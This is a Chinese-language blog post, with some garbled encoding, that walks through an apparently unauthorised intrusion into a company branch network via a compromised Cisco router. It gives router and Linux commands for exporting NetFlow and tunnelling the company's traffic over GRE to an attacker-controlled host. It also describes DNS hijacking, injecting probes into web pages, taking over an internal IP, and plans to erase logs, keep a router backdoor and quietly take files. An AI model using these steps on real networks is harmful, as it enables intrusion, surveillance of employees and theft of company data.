去年開始利用路由器對目標內(nèi)網(wǎng)進行滲透的方式方法開始研究，測試了一陣了?？吹綖踉浦坝幸黄g外國人的文章，講路由器流量劫持的，利用條件苛刻，成效也不大。所以決定寫一篇自己實測的例子。

0x01 控制路由器

現(xiàn)在只搞cisco的路由器，但是方法不限于cisco，華為，juniper什么的都可以。

這一步?jīng)]有什么好的辦法，我們利用分布式掃描抓到了一些路由器，再加上其他的漏洞，有了一定數(shù)量作為測試保證。

選擇一臺 cisco c800系列的小企業(yè)路由器（很老了）

　　圖1 router version

進去之后，先查看日志，登陸認證相關信息。

　　圖 2 router 登陸等相關信息

有一個登陸限制的acl，被我之前刪掉了，這就找到了telnet的密碼。同時沒有開啟aaa認證，也就不存在什么認證服務器什么的，就只有本地驗證。沒有任何日志服務器的配置，連snmp都沒有配置（本來還想留一個snmp的后門，看來是不行了）。

趕緊添加賬號密碼，加固路由器，修復漏洞。

　　圖3 添加特權賬戶

0x02 網(wǎng)絡拓撲分析

基本操作完，趕緊保留一份完整的配置（這個不能完整的貼出來）然后分析基本網(wǎng)絡架構(gòu)。

總述就是這是一個公司的小分部，通過pppoe加nat上網(wǎng)，有一個公網(wǎng)ip地址，有一個10.xx.xx.0/24的內(nèi)網(wǎng)地址，通過gre的隧道，和主公司相連，擁有更為龐大的內(nèi)網(wǎng)。

這種網(wǎng)絡形式是最為常見的，通過ISP撥號獲取公網(wǎng)地址，然后內(nèi)網(wǎng)機器通過nat上網(wǎng)。全公網(wǎng)ip地址的公司網(wǎng)絡極為少見。

網(wǎng)絡拓撲如下

　　圖4 網(wǎng)絡拓撲示意圖

0x03 準備進入內(nèi)網(wǎng)

內(nèi)網(wǎng)機器通過NAT訪問Google，同時內(nèi)網(wǎng)受到NAT的保護。我們控制了R1這臺路由器，處于內(nèi)網(wǎng)出口；還有一臺公網(wǎng)VPS，ubuntu12.04 。R2表示很多臺路由器，沒有控制權限。

由于想要進行內(nèi)網(wǎng)滲透測試，需要獲取更多的信息。我們另外添加一臺公網(wǎng)VPS（win2008R）在上面架設流量監(jiān)視服務器，分析內(nèi)網(wǎng)日常流量和行為。

win2008搭建的是netflow服務器，在R1上配置netflow，來觀測內(nèi)網(wǎng)流量信息。netflow軟件網(wǎng)上有好多，solarwind最好，支持sqlserver2005，能存儲大量的數(shù)據(jù)，沒找到破解版。我用的ManageEngine，到處都是破解版。

netflow配置：

ip flow-export so int e 0

ip flow-ex dst 1.1.1.1 8888

ip flow-ex ver 5

……

流量分析比較直觀，公司日常工作流量都是通過GRE Tunnel到達主網(wǎng)絡，日常流量以http和https為主，而且通過流量統(tǒng)計可以看出來，他們的dns絕大多數(shù)都是Google public dns，占了所有dns流量的90％以上。

　　圖6 目標網(wǎng)絡流量總覽圖

　　圖7 流量分類示意圖

統(tǒng)計出來的web流量，嘗試去打開這些網(wǎng)頁，我都打不開，都是提示404 Not Found或者就是證書錯誤。這樣看不見到底訪問的是什么網(wǎng)站，Google也都沒有搜索記錄，就只能勉強看一下bing的同站，結(jié)果記錄還是特別少。

為了摸清這個內(nèi)網(wǎng)更為詳細的信息（公司叫什么名字，員工經(jīng)常登陸什么網(wǎng)站，常用軟件是什么），就只能先劫持一下DNS了。由于網(wǎng)絡環(huán)境比較惡略，有個NAT使得網(wǎng)絡復雜太多。所以不選擇使用透明劫持方式，選擇用網(wǎng)關劫持方式。

做一下名詞解釋：

透明劫持方式：自定義名詞，即不修改數(shù)據(jù)包的源IP地址和目的IP地址，只對數(shù)據(jù)包的data和checksum進行修改。這樣基本不會讓用戶和服務器引起任何察覺，做到完全透明，同時無法被殺軟防火墻IPS之類的發(fā)覺，除了增加一些延遲。

網(wǎng)關劫持方式：顧名思義，就是作為一個網(wǎng)關，對經(jīng)過我的流量進行路由和NAT，使得流量能夠正常在Internet上傳輸。會產(chǎn)生較大的影響，以Gmail為例，會提示異地登陸等。

關于劫持有一條準側(cè)（我總結(jié)的）：在有防火墻或者NAT的環(huán)境中劫持流量，你在哪把數(shù)據(jù)包接走，必須得把數(shù)據(jù)包（被劫持的數(shù)據(jù)包或者該數(shù)據(jù)包的回包）送回到那里。

這里做一下解釋，在NAT上網(wǎng)的環(huán)境中做GRE通道的流量劫持，會很麻煩。出方向數(shù)據(jù)包通過路徑為先進入GRE Tunnel，然后作為一個GRE 數(shù)據(jù)包通過NAT，也就是NAT只對GRE數(shù)據(jù)包生效，并且記錄下狀態(tài)，不會對被包含在GRE 中的數(shù)據(jù)包進行NAT，所以入方向，無法通過NAT。 這樣的解釋適用于防火墻。

因為編程能力有限等考慮，決定使用網(wǎng)關劫持模式。

在R1的連接公網(wǎng)的端口和我的Linux eth0 建立GRE Tunnel

Linux IP 地址：1.1.1.1

路由器公網(wǎng)IP地址：2.2.2.2

R1的配置

en

conf t

int tunnel 1

tunnel so e0（接口名稱，也可以使用接口IP地址，但是會出問題）

tunnel dest 1.1.1.1

ip add 12.1.1.1 255.255.255.252

end

linux Ubuntu 配置： 建立GRE Tunnel

#modprobe ip_gre

#lsmode | grep

#ip tunnel add gre1 mode gre remote 2.2.2.2 local 1.1.1.1 ttl 255

#ip link set gre1 up

#ip addr add 12.1.1.2 peer 12.1.1.1 dev gre1

在Tunnel的兩端都PING一下對端的IP地址，應該都是通的。

然后開啟路由轉(zhuǎn)發(fā)

將 /proc/sys/net/ip_forward 的數(shù)值修改為 1 （本次有效，重啟后失效）

修改 /etc/sysctl.conf 文件，讓包轉(zhuǎn)發(fā)在系統(tǒng)啟動時生效

net.ipv4.ip_forward = 1 前面的＃號去掉

開啟Iptables 的NAT

＃iptables -t nat -A POSTROUTING -s 192.168.1.0/25 -j SNAT —to-source 202.103.224.58

192的地址為需要做NAT的地址，202地址為已有公網(wǎng)IP地址，配置單詞生效，重啟后失效。

保存iptables 的規(guī)則 。

＃service iptables save

添加內(nèi)網(wǎng)路由

route add -net 10.0.0.0/8 gre1

通往10.0.0.0這個八位的網(wǎng)絡全部走gre1這個出口，即全部走GRE隧道。

然后利用我們自己開發(fā)的軟件獲取DNS數(shù)據(jù)內(nèi)容 ，內(nèi)容不方便貼出。

劫持了幾天dns，看他們上了幾天網(wǎng)之后，對內(nèi)網(wǎng)有了個更為清楚的認識。進一步對HTTP數(shù)據(jù)包進行修改，加了個探針。探明之后再準備加入EXP獲取內(nèi)網(wǎng)權限，結(jié)果都是chrome，就放棄了。探針信息不方便貼出。

流量中還有telnet，ssh這類的流量，但是不能劫持，目的地址做了acl的限制，我的Linux不能訪問，直接refuse。

0x04 進入內(nèi)網(wǎng)

流量不能幫我獲取內(nèi)網(wǎng)權限，就只能自己進入內(nèi)網(wǎng)。

強制劫持一個內(nèi)網(wǎng)沒有人用的合法IP地址，通過連接linux openVPN分配給自己，剩下只要在路由器添加這個地址的主機路由和在Linux上添加到10.xx.xx.xx/8 的默認路由，然后我的WorkStation就獲得了內(nèi)網(wǎng)訪問權限（沒有像VPN什么的限制，訪問權限等同于路由器權限）。

如何讓自己的WorkStation進入內(nèi)網(wǎng)就是很隨意的了，方法實在是太多，因為此時這臺Ubuntu已經(jīng)在內(nèi)網(wǎng)中。openVPN配置和添加路由配置就不貼出了，網(wǎng)上太多。

　　圖8 驗證Ubuntu于內(nèi)網(wǎng)的連通性

這樣的內(nèi)網(wǎng)滲透是有以下幾個優(yōu)點：

你所有的流量會被內(nèi)網(wǎng)流量設備認為是內(nèi)網(wǎng)流量，流量稍微大一點的內(nèi)網(wǎng)，你可以隨意下載文件，不用再關心流量過大引起報警。（理論，沒脫過文件）

在路由器上做好隱藏，規(guī)避netflow監(jiān)測，去掉日志，在臨走的時候直接erease所有的存儲器，你的行為在內(nèi)網(wǎng)不可查。（理論，沒做過）

如果地址劫持的合適，能繞過內(nèi)網(wǎng)服務器的登陸限制（三層限制）。

時間把握的好，可以制造內(nèi)網(wǎng)某員工從文件服務器大量下載文件的假象。（理論，沒做過）

缺點

就一個，數(shù)據(jù)包不加密，這點很煩人，數(shù)據(jù)包基本全透明。要是路由器外沒有安全設備了或者直接做一個IPSec Tunnel，就等同于沒缺點。

總結(jié)，就是擁有極高的隱蔽性，遠高于VPN，馬什么的。連日志服務器都可以不怎么理他。

本文標題為邁入內(nèi)網(wǎng)，并非內(nèi)網(wǎng)滲透，不做內(nèi)網(wǎng)滲透相關研究。

所有的敏感的信息已經(jīng)修改涂掉。

0x05 后話

其他的一些小討論

關于鏈路延遲，研究比較多，需要多說一點。以我劫持的Google為例，我在Google與內(nèi)網(wǎng)路徑的附近，并且是靠近Google的一端。

到Google的延遲平均為0.617ms

　　圖9 Ubuntu 到Google延遲

路由器到Linux的延遲平均為256ms，路由器直接ping Google 平均延遲時180ms

　　圖10 路由器網(wǎng)絡延遲截圖

Linux處理劫持數(shù)據(jù)，修改數(shù)據(jù)包的軟件延遲約為5ms，所以預估劫持之后的延遲應該在260ms左右。

但是，經(jīng)過劫持之后，到目標的延遲為248，該數(shù)值小于256ms＋0.6ms＋5ms，至于為什么，無法解釋。

總體延遲影響，增加了180ms的三分之一，60ms左右。

之前我們對延遲有過較多的討論：增加了延遲的三分之一，影響會比較明顯，容易被察覺從而引發(fā)報警。我個人認為，大家上百度比平時延遲增加了500ms，或是1s，就算是baidu的運維，在檢查完IP地址，看完tracert之后，也就罵罵運營商。更何況一般網(wǎng)絡用戶不會認為是運營商的問題，只會認為是不是自己電腦卡了，可能有人懷疑自己被網(wǎng)絡劫持了么。

關于內(nèi)網(wǎng)路由器的討論，本文研究的路由器為網(wǎng)絡邊界路由器，至少有一個公網(wǎng)IP地址。當路由器或者三層交換處于內(nèi)網(wǎng)中，劫持能否使用，答案是可以的。通過建立七層應用層隧道（GRE為三層網(wǎng)絡層隧道），就像我們個人電腦一樣，穿過內(nèi)網(wǎng)?；蛘咧苯油瑑?nèi)網(wǎng)的一臺服務器建立連接，劫持數(shù)據(jù)（經(jīng)過驗證，但是公網(wǎng)測試時，對端是一臺公網(wǎng)CISCO路由器2911，沒試過服務器，開發(fā)能力有限）。

如果需要穿透內(nèi)網(wǎng)，需要應用層VPN，例如IPSec VPN，EZ VPN （我測試了這倆，其他的高于三層的VPN都理論可行）等，配置比GRE Tunnel復雜的多，但懂了原理配置還是很簡單的。配置實在是貼不完。IP Sec VPN理論上應該可以向IP Sec VPN 服務器建立連接，我沒成功，還在理論層面研究。EZ VPN ，CISCO專有，肯定不能在WIN或者linux上搭建服務器。

關于駐留，通過路由器擴展內(nèi)網(wǎng)駐留或者路由器后門駐留，比馬什么的好太多了，除了NSA和fireeye，沒聽說過誰接觸過過路由器后門的。國內(nèi)絕對是通殺，會配置路由器的都沒幾個人，更別說反查。

關于HTTPS的討論：綠標這個問題確實比較頭疼，我目前嘗試能過的就是嵌套，在綠標中插入紅標，最后用戶看到的還是綠標。

關于流量劫持軟件，網(wǎng)上都說劫持軟件多如牛毛，但是實際上找下來，就沒有一個可以拿來直接用的，尤其是在透明劫持這個模式下，沒發(fā)現(xiàn)能直接用的，像什么MITMproxy什么什么的，大家都說好，實際測試一下，也就適合開發(fā)人員調(diào)試軟件，所以只能自己開發(fā)，但是開發(fā)能力有限。

希望大家推薦一些，能效率很高的處理大流量（例如BGP劫持）的軟件。